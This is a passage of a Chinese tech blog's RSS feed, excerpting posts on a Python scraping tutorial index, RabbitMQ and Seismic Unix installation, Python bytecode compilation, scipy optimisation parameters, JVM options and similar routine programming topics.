      <link>https://bchobby.github.io/posts/7262ab6fd8b2a871b11c3b63f45abb22/</link>
      <pubDate>Thu, 06 Aug 2020 09:55:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7262ab6fd8b2a871b11c3b63f45abb22/</guid>
      <description>Python爬虫入门实战教程目录（持续更新中......） 1、淘宝模拟登录2、淘宝登录数据爬取3、12306模拟登陆4、斗鱼爬虫5、B站爬虫6、虎牙爬虫7、京东爬虫8、微博爬虫9、2020疫情数据可视化10、拉勾网爬虫11、爬虫IP代理教程12、BOOS直聘爬虫13、51Job爬虫14、唯美女生15、IP代理池构造教程16、网易云音乐爬取下载17、ZOL壁纸任意分辨率高清大图批量爬取18、网页模板爬取19、爬虫JS解密详解，学会直接破解80%的网站！！！20、批量爬取CSDN文章，并保存为md文件21、使用线程池派遣爬取22、Scrapy爬虫爬取链家全国各省城市房屋数据23、解决书荒问题，Python爬虫带你搞定24、爬虫进阶之字体反扒25、Python爬虫一血入门——彼岸图网26、股票数据可视化27、普通爬虫 VS 多线程爬虫！真香警告~~~28、多线程表情包分类爬取，助你称为斗图帝！！！29、大众点评SVG字体反扒30、网易新闻爬虫CSDN独家福利降临！！！ 1、淘宝模拟登录 Python爬虫实战：Selenium和动作链实现淘宝模拟登录&#xA;2、淘宝登录数据爬取 Python爬虫实战：基于Scrapy的淘宝登陆后实现数据爬取并保存到Mysql&#xA;3、12306模拟登陆 Python爬虫实战：Selenium+超级鹰实现12306网站模拟登录&#xA;4、斗鱼爬虫 Python爬虫实战：基于Scrapy的爬取斗鱼颜值主播图片并下载保存到本地以供观赏&#xA;5、B站爬虫 Python爬虫实战：Scrapy爬取B站娱乐直播全部主播图片重命名下载到本地&#xA;6、虎牙爬虫 Python爬虫实战：基于Scrapy爬取虎牙星秀主播图片并下载到本地&#xA;7、京东爬虫 Python爬虫实战：Selenium+BeautifulSoup实现对京东商品完整数据的爬取&#xA;8、微博爬虫 Python爬虫实战：Selenium爬取微博头条信息保存到Mysql&#xA;9、2020疫情数据可视化 爬虫实战：Pyecharts实现2020疫情动态实时播报可视化&#xA;10、拉勾网爬虫 Python爬虫实战：爬取拉勾网任意职位信息并保存到Mysql&#xA;11、爬虫IP代理教程 Python爬虫IP代理教程（reuqests和selenium的ip代理）&#xA;12、BOOS直聘爬虫 Python爬虫实战：2020最新BOOS直聘爬取教程&#xA;13、51Job爬虫 Python爬虫实战：2020最新51job招聘网站爬取教程&#xA;14、唯美女生 唯美女生写真爬虫&#xA;15、IP代理池构造教程 IP代理池构造教程&#xA;16、网易云音乐爬取下载 网易云音乐爬取下载&#xA;17、ZOL壁纸任意分辨率高清大图批量爬取 ZOL壁纸高清大图批量爬取&#xA;18、网页模板爬取 网页模板爬取&#xA;19、爬虫JS解密详解，学会直接破解80%的网站！！！ JS解密教程&#xA;20、批量爬取CSDN文章，并保存为md文件 批量爬取CSDN文章&#xA;21、使用线程池派遣爬取 线程池爬取教学&#xA;22、Scrapy爬虫爬取链家全国各省城市房屋数据 Scrapy爬虫爬取链家全国各省城市房屋数据&#xA;23、解决书荒问题，Python爬虫带你搞定 新笔趣阁全部小说爬取&#xA;24、爬虫进阶之字体反扒 字体反扒&#xA;25、Python爬虫一血入门——彼岸图网 爬虫入门——彼岸图网&#xA;26、股票数据可视化 股票数据可视化教程&#xA;27、普通爬虫 VS 多线程爬虫！真香警告~~~ 普通爬虫 VS 多线程爬虫&#xA;28、多线程表情包分类爬取，助你称为斗图帝！！！ 多线程表情包分类爬取&#xA;29、大众点评SVG字体反扒 大众点评SVG反扒&#xA;30、网易新闻爬虫 网易新闻爬虫&#xA;CSDN独家福利降临！！！ 最近CSDN有个独家出品的活动，也就是下面的《Python的全栈知识图谱》，路线规划的非常详细,尺寸 是870mm x 560mm 小伙伴们可以按照上面的流程进行系统的学习，不要像我当初一样没人带自己随便找本书乱学，系统的有规律的学习，它的基础才是最扎实的，在我们这行，《基础不牢，地动山摇》尤其明显。</description>
    </item>
    <item>
      <title>RabbitMQ环境搭建及遇到问题解决办法</title>
      <link>https://bchobby.github.io/posts/b43ccd0bd37b558d8e6f641ddbe1e6d4/</link>
      <pubDate>Thu, 06 Aug 2020 01:26:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b43ccd0bd37b558d8e6f641ddbe1e6d4/</guid>
      <description>文章目录 RabbitMQ环境搭建1、 安装依赖2、 安装Erlang3、 安装RabbitMQ4、查看是否安装成功5、启用UI管理工具插件5、启动rabbitmq5、浏览器登陆rabbitmq6、配置rabbitmq用户 遇到问题及解决问题1：升级openssl RabbitMQ环境搭建 1、 安装依赖 1、RabbitMQ的安装需要首先安装Erlang，因为它是基于Erlang的VM运行的；&#xA;2、RabbitMQ需要的依赖：socat、logrotate、logrotate，后两个操作系统中已经存了，只需要安装socat即可；&#xA;3、安装socat：&#xA;[root@10 /]# yum install socat -y ....... 总下载量：290 k 安装大小：1.1 M Downloading packages: socat-1.7.3.2-2.el7.x86_64.rpm | 290 kB 00:00:00 Running transaction check Running transaction test Transaction test succeeded Running transaction 正在安装 : socat-1.7.3.2-2.el7.x86_64 1/1 验证中 : socat-1.7.3.2-2.el7.x86_64 1/1 已安装: socat.x86_64 0:1.7.3.2-2.el7 完毕！ 2、 安装Erlang 1、下载地址：https://github.com/rabbitmq/erlang-rpm/releases/download/v23.0.2/erlang-23.0.2-1.el7.x86_64.rpm&#xA;2、安装包上传linux服务器；&#xA;3、安装软件包：&#xA;[root@10 software]# pwd /home/laosan/software [root@10 software]# yum -y install erlang-23.0.2-1.el7.x86_64.rpm 3、 安装RabbitMQ 1、下载地址：https://github.</description>
    </item>
    <item>
      <title>python文件工程化，隐藏源码</title>
      <link>https://bchobby.github.io/posts/3ce1f700dbfd366f8e63262411dfa70d/</link>
      <pubDate>Wed, 05 Aug 2020 18:52:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3ce1f700dbfd366f8e63262411dfa70d/</guid>
      <description>python文件工程化，隐藏源码 py文件转换为pyc文件 全文来自博客https://www.cnblogs.com/HByang/p/13223118.html&#xA;pyc介绍 pyc是一种二进制文件，是由py文件经过编译后，生成的文件，是一种byte code，py文件变成pyc文件后，加载的速度有所提高。&#xA;而且pyc是一种跨平台的字节码，是由python的虚拟机来执行的，这个是类似于JAVA或者.NET的虚拟机的概念。&#xA;pyc的内容，是跟python的版本相关的，不同版本编译后的pyc文件是不同的。&#xA;使用 通过自带模块py_compile进行&#xA;1、将单个文件转换成pyc文件&#xA;用如下代码&#xA;import py_compile py_compile.compile(&#39;test.py&#39;) 或者通过终端&#xA;python -m py_compile test.py 这样会在test.py文件所在的目录下，生成一个__pycache__（注意：这里目录名前后有两个下划线）的目录，并且其中存有一个test.cpython-35.pyc文件，这个pyc文件就是test.py编译之后生成的文件。&#xA;2、将目录下所有py文件转换成pyc文件&#xA;一般来说，我们的工程都是在一个目录下的，一般不会说仅仅编译一个py文件而已，而是需要把整个文件夹下的py文件都编译为pyc文件，python又为了我们提供了另一个模块：compileall 。使用方法如下：&#xA;import compileall compileall.compile_dir(r&#39;C:\Users\abc\Desktop\release_project&#39;) 也可以使用终端&#xA;python -m compileall C:\Users\abc\Desktop\release_project 这样就会在C:\Users\abc\Desktop\release_project目录下生成一个新的目录__pycache__，这个目录的下面会存放所有的和python源代码对应的pyc文件&#xA;python文件编译成.so二进制文件 这里要使用到Cython工具，官方中文文档https://moonlet.gitbooks.io/cython-document-zh_cn/content/&#xA;Cython 的 Hello World 由于 Cython 能接受几乎所有的合法 Python 源文件，开始使用 Cython 的最难的事情之一是怎么编译你的拓展（extension）。&#xA;那么，让我们从典型的（canonical）Python hello world 开始：&#xA;print &#34;Hello World&#34; 将代码保存在文件 helloworld.pyx 中。现在，我们需要创建 setup.py，它是一个类似 Python Makefile 的文件（更多信息请看源文件和编译过程）。 你编写的 setup.py 应该看起来类似这样：&#xA;from distutils.core import setup from Cython.Build import cythonize setup( ext_modules = cythonize(&#34;</description>
    </item>
    <item>
      <title>scipy.optimize.minimize参数</title>
      <link>https://bchobby.github.io/posts/935af44a7bdfcc3c342b7b0eb4e51bf8/</link>
      <pubDate>Wed, 05 Aug 2020 17:47:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/935af44a7bdfcc3c342b7b0eb4e51bf8/</guid>
      <description>scipy.optimize.minimize&#xA;英文文档&#xA;scipy.optimize.minimize(fun, x0, args=(), method=None, jac=None, hess=None, hessp=None, bounds=None, constraints=(), tol=None, callback=None, options=None)&#xA;参数：&#xA;fun：要最小化的目标函数。&#xA;fun（x，*args）-&amp;gt;float 其中x是（n，）的一维数组，args是完全指定函数所需的固定参数的元组。&#xA;x0：ndarray，shape=（n，） 大小为（n，）的实元素数组，其中“n”是自变量的数目。&#xA;args：可选。传递给目标函数及其导数（fun、jac和hess函数）的额外参数。&#xA;method：str或callable，可选&#xA;解算器的类型：&#xA;“Nelder Mead”&#xA;“Powell”&#xA;‘CG’&#xA;‘BFGS’&#xA;“Newton-CG”&#xA;‘L-BFGS-B’&#xA;“TNC”&#xA;‘COBYLA’）&#xA;“SLSQP”&#xA;“trust-constr”&#xA;“dogleg”&#xA;“trust-ncg”&#xA;“trust-exact”&#xA;“trust-krylov”&#xA;custom-自定义-一个可调用的对象（在0.14.0版中添加）&#xA;如果没有给定，则选择BFGS，L-BFGS-B，SLSQP中的一个，这取决于问题是否有约束或边界。&#xA;jac：{callable，‘2-point’，‘3-point’，cs’，bool}，可选&#xA;计算梯度向量的方法。仅适用于CG、BFGS、Newton CG、L-BFGS-B、TNC、SLSQP、dogleg、trust ncg、trust krylov、trust exact和trust Construct。&#xA;如果它是可调用的，它应该是一个返回梯度向量的函数： jac（x，*args）-&amp;gt;array_like，shape（n，）.其中x是（n，）的数组，args是具有固定参数的元组。&#xA;如果jac是布尔值且为真，则假定fun返回objective和gradient作为（f，g）元组。“Newton CG”、“trust ncg”、“dogleg”、“trust exact”和“trust krylov”方法要求提供可调用函数，或者fun返回目标和梯度。&#xA;如果None或False，则使用绝对步长的两点有限差分估计来估计梯度。或者，关键字{‘2-point’、‘3-point’、‘cs’}可用于选择具有相对步长的梯度的数值估计的有限差分格式。这些有限差分格式服从任何指定的边界。&#xA;hess：{callable，‘2-point’，3-point’，cs’，HessianUpdateStrategy}，可选&#xA;计算Hessian矩阵的方法。只适用于Newton CG、dogleg、trust ncg、trust krylov、trust exact和trust constr。如果它是可调用的，它应该返回Hessian矩阵：&#xA;hess（x，*args）-&amp;gt;{linearerator，spmatrix，array}，（n，n）&#xA;其中x是（n，）ndarray，args是具有固定参数的元组。lineroperator和稀疏矩阵返回只允许用于“trust constr”方法。或者，关键字{‘2-point’、‘3-point’、‘cs’}选择一个有限差分格式进行数值估计。或者，实现HessianUpdateStrategy接口的对象可以用来近似Hessian。实现该接口的可用拟牛顿方法有：&#xA;BFGS； SR1。&#xA;当用有限差分法估计梯度时，Hessian不能用选项{‘2-point’、‘3-point’、‘cs’}来估计，需要使用一种拟牛顿策略来估计。有限差分选项{‘2-point’、‘3-point’、‘cs’}和HessianUpdateStrategy仅适用于“trust constr”方法。</description>
    </item>
    <item>
      <title>[Java]jhsdb查看内存内Java对象</title>
      <link>https://bchobby.github.io/posts/4cd3e9c4ce95a0051be7a9260579c8b4/</link>
      <pubDate>Wed, 05 Aug 2020 17:42:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4cd3e9c4ce95a0051be7a9260579c8b4/</guid>
      <description>java版本 (13)jhsdb简介 jhsdb从java9开始引入，可执行文件放在JAVA_HOME/bin目录下, 其取代了之前的JAVA_HOME/lib/sa-jdi.jar; clhsdb、debugd、hsdb、jstack、jmap、jinfo、jsnap这些是jhsdb命令不同的mode; jhsdb是一种进程外的调试工具，基于Java实现的API集合，以服务性代理的形式工作，主要从HotSpot虚拟机中获取Java虚拟机的运行相关信息。 # jhsdb clhsdb command line debugger hsdb ui debugger debugd --help&#x9;to get more information jstack --help&#x9;to get more information jmap --help&#x9;to get more information jinfo --help&#x9;to get more information jsnap --help&#x9;to get more information jhsdb jmap模式查看JVM中堆对象的分配详情 # jhsdb jmap &amp;lt;no option&amp;gt; To print same info as Solaris pmap. --heap To print java heap summary. --binaryheap To dump java heap in hprof binary format.</description>
    </item>
    <item>
      <title>Ubuntu下SU(seismic unix)安装教程</title>
      <link>https://bchobby.github.io/posts/17b109af8dca40ed258af2e838ae157f/</link>
      <pubDate>Tue, 04 Aug 2020 21:26:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/17b109af8dca40ed258af2e838ae157f/</guid>
      <description>记录程序人生&#xA;环境：linux 我用的是 ubuntu 16.04&#xA;具体步骤：&#xA;1 . 下载Seismic unix安装包&#xA;// Download the seismic unix 链接: https://pan.baidu.com/s/1pEN27rycB_iA5kNneWf3mA 提取码: 1wsg 得到 cwp_su_all_41R3.tar.gz，然后用tar -zxvf cwp_su_all_41R3.tar.gz进行解压。&#xA;2 . 安装必要的依赖包&#xA;// install the necessary package sudo apt-get install build-essential sudo apt-get install libx11-dev sudo apt-get install libxt-dev sudo apt-get install freeglut3 sudo apt-get install freeglut3-dev sudo apt-get install libxmu-dev sudo apt-get install libxi-dev sudo apt-get install gfortran 3 . 设置环境变量&#xA;sudo gedit ~/.bashrc 在末尾处添加如下代码（其中 /home/yourname/su为解压的路径）</description>
    </item>
    <item>
      <title>Ubuntu下Madagascar安装教程</title>
      <link>https://bchobby.github.io/posts/97755b0cbcddc2c6e6009b4ba266a983/</link>
      <pubDate>Tue, 04 Aug 2020 19:54:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/97755b0cbcddc2c6e6009b4ba266a983/</guid>
      <description>从Madagascar安装开始 第一次使用CSDN记录程序人生&#xA;每次找资源都是直接搜索，但下一次遇到同样的问题还得摸索半天，实在麻烦。这是我第一次使用csdn来记录之前遇到的坑。&#xA;环境：linux 我用的是 ubuntu 16.04&#xA;具体步骤：&#xA;1 . 下载最新的Madagascar安装包&#xA;// Download the latest version of madagascar http://sourceforge.net/projects/rsf/files/madagascar/ 得到 madagascar-..tar.gz，然后用tar -zxvf madagascar-..tar.gz进行解压。&#xA;2 . 安装必要的依赖包&#xA;// install the necessary package sudo apt-get install libxaw7-dev freeglut3-dev libnetpbm10-dev libgd-dev libplplot-dev libavcodec-dev libcairo2-dev libjpeg-dev swig python-dev python-numpy g++ gfortran libopenmpi-dev libfftw3-dev libsuitesparse-dev python-epydoc 3 . 安装前配置&#xA;转到保存代码的头目录下（如 /home/abc/madagascar-.）&#xA;./configure --prefix=/home/abc/madagascar-*.* 建立c++,fortran90等链接（前提是这些选项已在系统中存在）:&#xA;./configure API=c++,f90 --prefix=/home/abc/madagascar-*.* 4 . 编译安装：&#xA;// run the code sudo make install 5 .</description>
    </item>
    <item>
      <title>手机访问电脑本地html文件</title>
      <link>https://bchobby.github.io/posts/214c3b365035c11fd55bcbdd44133503/</link>
      <pubDate>Tue, 04 Aug 2020 14:08:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/214c3b365035c11fd55bcbdd44133503/</guid>
      <description>如果用webstrom打开一个单独的页面，在浏览器中现实的地址是：&#xA;http://localhost:63342/meipro-work/pages/active/findreset.html?_ijt=jhp5kumvugie2h6r0ublp089kf&#xA;如果这恰好是你正在开发的用于移动端的页面，想要在手机上访问以便于测试验证效果，怎么访问到呢？&#xA;在webstorm的setting中是有相关可设置的，只是我试了不好用&#xA;下面有几种办法：&#xA;如果你已经安装了全局的node.js，可以使用前两种方法。&#xA;1、http-server 手机地址输入电脑的ip加端口号8080即可访问本地编写的html页面（确保手机跟电脑在同一个局域网下）&#xA;npm install -g http-server 在站点目录下开启命令行输入http-server，运行结果如下：&#xA;Paste_Image.png&#xA;在浏览器中输入http://10.69.57.60:8080会访问meipro-work根目录下的页面，如果是子文件夹下的，修改相应路径就行了&#xA;2、browser-sync 文档说明 npm install -g browser-sync&#xA;安装成功后我们就可以在想要测试的文件目录下，在DOS窗口或者git bash输入：&#xA;browser-sync start --server --files &#34;css/.css, .html&#34;，即可开启服务&#xA;Paste_Image.png&#xA;3、nginx conf文件夹中名为nginx的配置文件，需要修改的地方有如下:&#xA;server { listen 80; server_name localhost; location ~ ^([/\w-]+\.[/\w-]*)+$ { root E:/mei/rootfile; index index.html; } } 需要注意的是1,2是在根文件夹中运行命令，3是root的值就是本文件夹的路径&#xA;4、如果想访问vue项目在npm run build之后生成的文件 可以使用如下server.js放到vue项目的根目录下&#xA;var express = require(&#39;express&#39;); var app = express(); app.use(&#39;/static&#39;,express.static(__dirname + &#39;/start/static&#39;)); app.get(&#39;/&#39;, function(req, res){ res.sendFile(__dirname+&#39;/start/index.html&#39;); }); var server = app.</description>
    </item>
    <item>
      <title>【js】js实现动态分页功能（拿来就能用）</title>
      <link>https://bchobby.github.io/posts/3a909398e257c65e5801e0bd4c831fd5/</link>
      <pubDate>Tue, 04 Aug 2020 12:52:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3a909398e257c65e5801e0bd4c831fd5/</guid>
      <description>1、动态分页功能（利用ajax获取的动态数据）&#xA;首先确保以下：&#xA;1）分页的前提是已经用 ajax 动态读取数据 ，显示在id = “trbody&#34;中，如果没有的话就不用往下看了&#xA;2）代码中的 id=” &#34; 不要修改，是对应 分页 中的&#xA;3）我自定义显示的是 每页显示 3 条数据（可以随便更改显示自己需要的）&#xA;4）默认显示的分页数字是 4 个，这个不要修改了，要修改的话需要改很多地方（缺点）&#xA;功能如下（样式是我自己的css）：&#xA;HTML 部分( demo.html )&#xA;///table 表格 用来显示 ajax 的动态数据 &amp;lt;table id=&#34;tableSort&#34;&amp;gt; &amp;lt;thead&amp;gt;&amp;lt;tr&amp;gt;&amp;lt;th/&amp;gt;&amp;lt;/th&amp;gt;&amp;lt;/tr&amp;gt;&amp;lt;/thead&amp;gt; &amp;lt;tbody id=&#34;trbody&#34; &amp;gt; &amp;lt;!--数据库数据--&amp;gt; &amp;lt;/tbody&amp;gt; &amp;lt;/table&amp;gt; ///分页显示的位置 &amp;lt;span id=&#34;spanPre&#34;&amp;gt;&amp;lt;a&amp;gt;Previous&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt; &amp;lt;div id=&#34;spbody&#34; style=&#34;display: flex;&#34;&amp;gt; &amp;lt;!--这里是显示的分页的数字页数--&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;span id=&#34;spanNext&#34;&amp;gt;&amp;lt;a&amp;gt;Next&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt; &amp;lt;script src=&#34;js/fenye.js&#34;&amp;gt;&amp;lt;/script&amp;gt; ///在 demo.html 中引入fenye.js js 部分( fenye.js )&#xA;//分页 //全局变量 var numCount; //数据总数量 var columnsCounts; //数据列数量 var pageCount; //每页显示的数量 var pageNum; //总页数 var currPageNum ; //当前页数 //页面标签变量 var blockTable; var preSpan; var firstSpan;&#x9;//第一页 var nextSpan; var lastSpan; window.</description>
    </item>
    <item>
      <title>idea中 VM options配置</title>
      <link>https://bchobby.github.io/posts/65d3c2c64d836f75f40f54cea2f065ab/</link>
      <pubDate>Tue, 04 Aug 2020 11:13:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/65d3c2c64d836f75f40f54cea2f065ab/</guid>
      <description>点击Intellij IDEA 界面窗口Run，打开Edit Configuration，出现Run/Debug Configurations界面。Application server 选择安装Tomcat所在的文件夹，点击Configuration一般自动配置好了，其他的就按照图上的填写。&#xA;VM options这项需要我们自己填写，我填的是VM options ： -Xms768m -Xmx768m -XX:PermSize=64M -XX:MaxPermSize=512m&#xA;每一项以空格隔开&#xA;参数说明&#xA;-Xms768m：设置JVM初始堆内存为768m。此值可以设置与-Xmx相同，以避免每次垃圾回收完成后JVM重新分配内存。&#xA;-Xmx768m：设置JVM最大堆内存为768m。&#xA;-Xss128k：设置每个线程的栈大小。JDK5.0以后每个线程栈大小为1M，之前每个线程栈大小为256K。应当根据应用的线程所需内存大小进行调整。在相同物理内存下，减小这个值能生成更多的线程。但是操作系统对一个进程内的线程数还是有限制的，不能无限生成，经验值在3000~5000左右。需要注意的是：当这个值被设置的较大（例如&amp;gt;2MB）时将会在很大程度上降低系统的性能。&#xA;-Xmn2g：设置年轻代大小为2G。在整个堆内存大小确定的情况下，增大年轻代将会减小年老代，反之亦然。此值关系到JVM垃圾回收，对系统性能影响较大，官方推荐配置为整个堆大小的3/8。&#xA;-XX:NewSize=1024m：设置年轻代初始值为1024M。&#xA;-XX:MaxNewSize=1024m：设置年轻代最大值为1024M。&#xA;-XX:PermSize=256m：设置持久代初始值为256M。&#xA;-XX:MaxPermSize=256m：设置持久代最大值为256M。&#xA;-XX:NewRatio=4：设置年轻代（包括1个Eden和2个Survivor区）与年老代的比值。表示年轻代比年老代为1:4。&#xA;-XX:SurvivorRatio=4：设置年轻代中Eden区与Survivor区的比值。表示2个Survivor区（JVM堆内存年轻代中默认有2个大小相等的Survivor区）与1个Eden区的比值为2:4，即1个Survivor区占整个年轻代大小的1/6。&#xA;-XX:MaxTenuringThreshold=7：表示一个对象如果在Survivor区（救助空间）移动了7次还没有被垃圾回收就进入年老代。如果设置为0的话，则年轻代对象不经过Survivor区，直接进入年老代，对于需要大量常驻内存的应用，这样做可以提高效率。如果将此值设置为一个较大值，则年轻代对象会在Survivor区进行多次复制，这样可以增加对象在年轻代存活时间，增加对象在年轻代被垃圾回收的概率，减少Full GC的频率，这样做可以在某种程度上提高服务稳定性。&#xA;标准参数，所有JVM都必须支持这些参数的功能，而且向后兼容；例如：&#xA;-client——设置JVM使用Client模式，特点是启动速度比较快，但运行时性能和内存管理效率不高，通常用于客户端应用程序或开发调试；在32位环境下直接运行Java程序默认启用该模式。&#xA;-server——设置JVM使Server模式，特点是启动速度比较慢，但运行时性能和内存管理效率很高，适用于生产环境。在具有64位能力的JDK环境下默认启用该模式。&#xA;非标准参数（-X），默认JVM实现这些参数的功能，但是并不保证所有JVM实现都满足，且不保证向后兼容；&#xA;非稳定参数（-XX），此类参数各个JVM实现会有所不同，将来可能会不被支持，需要慎重使用；</description>
    </item>
    <item>
      <title>Linux服务器上vim not found 问题</title>
      <link>https://bchobby.github.io/posts/3f35b7fb80c66b71b9c582aa6eaa12a4/</link>
      <pubDate>Tue, 04 Aug 2020 10:09:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3f35b7fb80c66b71b9c582aa6eaa12a4/</guid>
      <description> vim是Linux下最常用的文本编译器，在终端输入vim时可能会出现，但是因为服务器一般都是大家公用的，时不时会有新的同学进来，操作失误导致vim无法正常使用了。&#xA;一般重新安装vim使用的就是一个命令：&#xA;sudo apt-get install vim 但是，如果服务器之前就安装过vim，会有一些残余文件，再次重新安装就容易出现下列问题：&#xA;The following packages have unmet dependencies:&#xA;vim-gtk : Depends: vim-common (= 2:7.4.1689-3ubuntu1.3) but 2:7.4.1689-3ubuntu1.2 is to be installed&#xA;Depends: vim-runtime (= 2:7.4.1689-3ubuntu1.3) but it is not going to be installed&#xA;E: Unable to correct problems, you have held broken packages.&#xA;这种情况可以很容易读懂，就是说版本不同导致冲突，那么最好的解决方法就是删掉，然后重新安装(参考：博客)&#xA;sudo apt-get purge vim-common 这里面的purge命令删除更加强效，会删除残余的文件。&#xA;之后按照下列操作，依次更新之后，重新安装vim即可。&#xA;sudo apt-get update sudo apt-get upgrade sudo apt-get install vim </description>
    </item>
    <item>
      <title>OK-CC天天呼叫中心系统，外呼中心安装后如何使用</title>
      <link>https://bchobby.github.io/posts/04f4037b71aaabf9158b4e060e89bb01/</link>
      <pubDate>Mon, 03 Aug 2020 15:55:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/04f4037b71aaabf9158b4e060e89bb01/</guid>
      <description>呼叫中心系统&#xA;OK-CC呼叫中心技术，采用软硬件结合的架构方式、及分布式的IP技术，从多角度为企业提供整合的一体化解决方案；由于新技术的应用，在提供优质高效的客户服务的同时，大大降低了运营成本，给企业的客户服务带来震撼性的变革，共同辅助企业树立优秀的品牌形象。&#xA;群呼系统&#xA;群呼系统综合了各行业不同企业厂商的不同需要而专门的设计的一个平台。该自动外呼营销系统能够有效的提高营销部门的工作效率、降低企业销售成本和方便管理人员对销售代表进行考核等功效。</description>
    </item>
    <item>
      <title>Halcon 去除ROI边界区域region，和ROI边界有交集的部分</title>
      <link>https://bchobby.github.io/posts/5435e625492f86a2707e470b24eabb93/</link>
      <pubDate>Mon, 03 Aug 2020 15:38:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5435e625492f86a2707e470b24eabb93/</guid>
      <description> read_image (Image060gmWg105WMa120WWd230165mm, &#39;C:/Users/Administrator/Desktop/有隔弧片060GM+WG105-W+MA120-W WD230 165mm.bmp&#39;) set_system (&#39;tsp_clip_region&#39;, &#39;false&#39;) draw_rectangle1 (200000, Row1, Column1, Row2, Column2) gen_rectangle1 (Rectangle, Row1, Column1, Row2, Column2) boundary (Rectangle, RegionBorder, &#39;inner&#39;) reduce_domain (Image060gmWg105WMa120WWd230165mm, Rectangle, ImageReduced) threshold (ImageReduced, Region, 120, 255) connection (Region, ConnectedRegions) gen_empty_obj (regions) count_obj (ConnectedRegions, Number) for Index := 1 to Number by 1 select_obj (ConnectedRegions, ObjectSelected, Index) intersection (ObjectSelected, RegionBorder, RegionIntersection1) area_center (RegionIntersection1, Area1, Row3, Column3) if (Area1==0) concat_obj(ObjectSelected,regions,regions) endif endfor </description>
    </item>
    <item>
      <title>SAEJ1939-21数据链路层部分解读（第二部分）</title>
      <link>https://bchobby.github.io/posts/e9136677b4aa96840002487ab2a1cd37/</link>
      <pubDate>Mon, 03 Aug 2020 14:29:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e9136677b4aa96840002487ab2a1cd37/</guid>
      <description>传输协议连接管理消息：&#xA;这类消息用于建立和管理连接，以及控制数据流。&#xA;传输协议提供了6种传输协议连接管理消息：连接模式下的请求发送，连接模式下的准备发送，消息结束应答，放弃连接，以及广播公告消息。&#xA;1、连接模式下的请求发送（TP.CM_RTS）：指定目标地址&#xA;字节： 1 控制字节=16，指定目标地址请求发送（RTS）&#xA;2,3 整个消息大小，字节数目&#xA;4 全部数据包的数目&#xA;5 保留给 SAE 设定使用，该字节应设为 FF16&#xA;6-8 所装载数据的参数群编号&#xA;2、连接模式下的准备发送（TP.CM_CTS）：指定目标地址&#xA;字节： 1 控制字节=17，指定目标地址准备发送（CTS）&#xA;2 可发送的数据包数目&#xA;3 下一个将要发送的数据包编号&#xA;4,5 保留给 SAE 设定使用，该字节应设为 FF16&#xA;6-8 所装载数据的参数群编号&#xA;3、消息结束应答（TP.CM_EndofMsgAck）：指定目标地址&#xA;字节： 1 控制字节=19，消息结束应答&#xA;28&#xA;2,3 整个消息大小，字节数目&#xA;4 全部数据包的数目&#xA;5 保留给 SAE 设定使用，该字节应设为 FF16&#xA;6-8 所装载数据的参数群编号&#xA;4、放弃连接（TP.CM_Abort）：指定目标地址&#xA;字节： 1 控制字节=255，放弃连接&#xA;2-5 保留给 SAE 设定使用，该字节应设为 FF16&#xA;6-8 所装载数据的参数群编号&#xA;5、广播公告消息（TP.CM_BAM）：全局目标地址&#xA;字节： 1 控制字节=32，广播公告消息（BAM）&#xA;2,3 整个消息大小，字节数目&#xA;4 全部数据包的数目&#xA;5 保留给 SAE 设定使用，该字节应设为 FF16</description>
    </item>
    <item>
      <title>http://和www.前缀网站有什么具体区别？</title>
      <link>https://bchobby.github.io/posts/f198fc8045cc408ee5df46a74811e200/</link>
      <pubDate>Mon, 03 Aug 2020 14:18:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f198fc8045cc408ee5df46a74811e200/</guid>
      <description>转载自品略图书馆 http://www.pinlue.com/article/2019/03/1813/598231572617.html&#xA;将http://和www.放一起比较，是没有实际意义的。&#xA;一、http协议二、域名一、http协议&#xA;首先对于http://，这个其实只是一种协议；简单来说，就是先声明现在使用的是哪种方式来访问服务器上的内容。而除了http之外，还有ftp、https（http加上ssl，可以理解成http加上个安全锁）等协议方式。&#xA;举个例子：网站存储在服务器上的内容并不是我们打开网站时候的样子，而是由许多文件夹、源码文件（php、asp、jsp等）等内容组成，在服务器上的呈现方式和我们打开电脑看到硬盘上的文化是一样的。&#xA;只有使用http等相关协议，才可以在浏览器上呈现出具体的图像效果。但是倘若是使用ftp协议，那么打开出来的就是像电脑上的文件了（一般网站是打不开ftp，除非管理员开放ftp，以及提供账户密码）。&#xA;再形象一点，人是由许多的细胞构成，如果使用的是ftp协议那么看到的就是一堆细胞；只有通过http协议，才能看到完整的一个人形。&#xA;二、域名&#xA;什么是域名？比如baidu 、poren .org之类。其中.com是域名后缀，类似的还有.cn（中国域名后缀）、.org（非盈利机构）、.net（网络组织）等等。部分行业还会加上稳定的后缀，比如edu.cn（教育类，xmu.edu.cn厦门大学）、gov.cn（政府单位，mod.gov.cn国防部）等等。&#xA;而在这些域名中，如果加上www.（比如www.sina .com），一般是指网站的主站；与之对应的比如mail.sina .com是邮箱的登录网站、news.sina .com是新浪新闻，sina.com是顶级域名，mail.sina.com这些就是二级域名。如果再往后像old.mail.sina.com就是三级域名，以此类推。但不论是几级域名，在域名的前面肯定会有http://（或者https://）。&#xA;另外大家可能发现，并不是所有的网站主站都必须加上www.的，baidu .com和www.baidu .com一样都是可以用，甚至是www8.baidu .com也可以。但是为了更好收录以及出于其他方面的考虑，一般只使用其中一个作为主站域名，另外一个就使用301跳转之类的操作。对于大型的网站比较建议是使用www.baidu 